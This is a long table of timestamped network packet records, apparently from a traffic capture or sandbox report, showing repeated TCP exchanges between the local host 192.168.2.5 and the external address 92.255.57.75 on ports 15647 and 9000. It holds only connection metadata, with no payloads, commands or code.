Dec 17, 2024 08:40:30.728821993 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.742559910 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.745981932 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.765681028 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.767951965 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.784271955 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.786355972 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.790913105 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.792603970 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.792639971 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.792714119 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.799802065 CET	9000	50063	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.801208973 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.801325083 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.825103045 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.826596975 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.834024906 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.834182024 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.834268093 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.848380089 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.850167990 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.857904911 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.857944965 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.858048916 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.879177094 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.887758970 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.889988899 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.892365932 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.892443895 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.892548084 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.896518946 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.896644115 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.896760941 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.910676956 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.914139986 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.916167021 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.916229963 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.916269064 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.937006950 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.946588039 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.947882891 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.958085060 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.959969044 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.977904081 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.980571985 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:30.993483067 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:30.993577003 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.000657082 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.003985882 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.012285948 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.013593912 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.013669014 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.013693094 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.022667885 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.023859024 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.036051035 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.036170959 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.036295891 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.056956053 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.057008982 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.059868097 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.080032110 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.080087900 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.080135107 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.080169916 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.080239058 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.080239058 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.098539114 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.099877119 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.102201939 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.103874922 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.104623079 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.109751940 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.109796047 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.109908104 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.114763021 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.114775896 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.114932060 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.133781910 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.134162903 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.134185076 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.134222031 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.134244919 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.134263039 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.142478943 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.142554045 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.143371105 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.156150103 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.156368971 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.162543058 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.162635088 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.178544998 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.183465958 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.183528900 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.183597088 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.200174093 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.200313091 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.202065945 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.202189922 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.202449083 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.221626043 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.221652031 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.221707106 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.226142883 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.226198912 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.226205111 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.234740973 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.238719940 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.250080109 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.253911018 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.260396004 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.261989117 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.273629904 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.273643017 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.273797035 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.282789946 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.286237955 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.301580906 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.301994085 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.305587053 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.305707932 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.322026014 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.322065115 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.322092056 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.342787027 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.342855930 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.342984915 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.348305941 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.350119114 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.373661995 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.374186993 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.383474112 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.383579016 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.383806944 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.385077953 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.392479897 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.392693043 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.405955076 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.406192064 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.411947966 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.411989927 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.425481081 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.425542116 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.425609112 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.425730944 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.425789118 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.428754091 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.443310022 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.443397045 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.443474054 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.446180105 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.446244955 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.463953018 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.464076042 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.464248896 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.493964911 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.494103909 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.497348070 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.497431993 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.503549099 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.503667116 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.503741026 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.505040884 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.506979942 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.512273073 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.512350082 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.524308920 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.524388075 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.524399996 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.531759977 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.534367085 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.545471907 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.546046972 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.550740957 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.550793886 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.550864935 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.565969944 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.585601091 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.585647106 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.585803032 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.598128080 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.602307081 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.617212057 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.617896080 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.626718998 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.627027988 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.633981943 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.635008097 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.654128075 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.657500982 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.670650959 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.670895100 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.686213970 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.689400911 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.689455986 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.712162971 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.716100931 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.717894077 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.718049049 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.737283945 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.737596989 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.739861012 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.750942945 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.751005888 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.751161098 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.771893024 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.777187109 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.778867006 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.786988020 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.787050962 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.787194014 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.805846930 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.807993889 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.809268951 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.811841965 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.823939085 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.824008942 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.824131012 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.831938028 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.835880995 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.836472988 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.836707115 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.857119083 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.858524084 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.859540939 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.859814882 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.879424095 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.891684055 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.894721985 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.897672892 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.898868084 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.906905890 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.907859087 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.909862995 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.910861969 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.927778006 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.928488016 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.943841934 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.946711063 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.946865082 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.946959972 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.956413984 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.958045959 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.969316006 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.969894886 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.978338957 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.978859901 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.995268106 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:31.999221087 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:31.999855042 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.001400948 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.001471996 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.001502991 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.002831936 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.009119987 CET	9000	50063	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.009211063 CET	9000	50063	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.009289026 CET	50063	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.010471106 CET	50063	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.018665075 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.020683050 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.030674934 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.031883001 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.047004938 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.048253059 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.051626921 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.051749945 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.056478977 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.056545019 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.056606054 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.066590071 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.066684961 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.074645996 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.074702024 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.074769974 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.090106964 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.094255924 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.108643055 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.108704090 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.108747005 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.115036011 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.115092039 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.119909048 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.119966030 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.119991064 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.129523039 CET	50064	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.130225897 CET	9000	50063	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.140472889 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.140531063 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.149355888 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.149394989 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.149410009 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.166840076 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.166899920 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.170398951 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.170439005 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.171344995 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.171473026 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.176457882 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.176539898 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.176567078 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.186388969 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.186769962 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.191344023 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.191808939 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.206696033 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.206787109 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.218131065 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.218185902 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.218240976 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.234803915 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.240573883 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.240642071 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.240667105 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.248747110 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.248894930 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.249095917 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.249212027 CET	9000	50064	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.249352932 CET	50064	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.249742031 CET	50064	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.275691032 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.275764942 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.275788069 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.282226086 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.282434940 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.290421963 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.297722101 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.297804117 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.297831059 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.311831951 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.311866045 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.311923981 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:32.321376085 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:32.321451902 CET	15647	49998	92.255.57.75	192.168.2.5
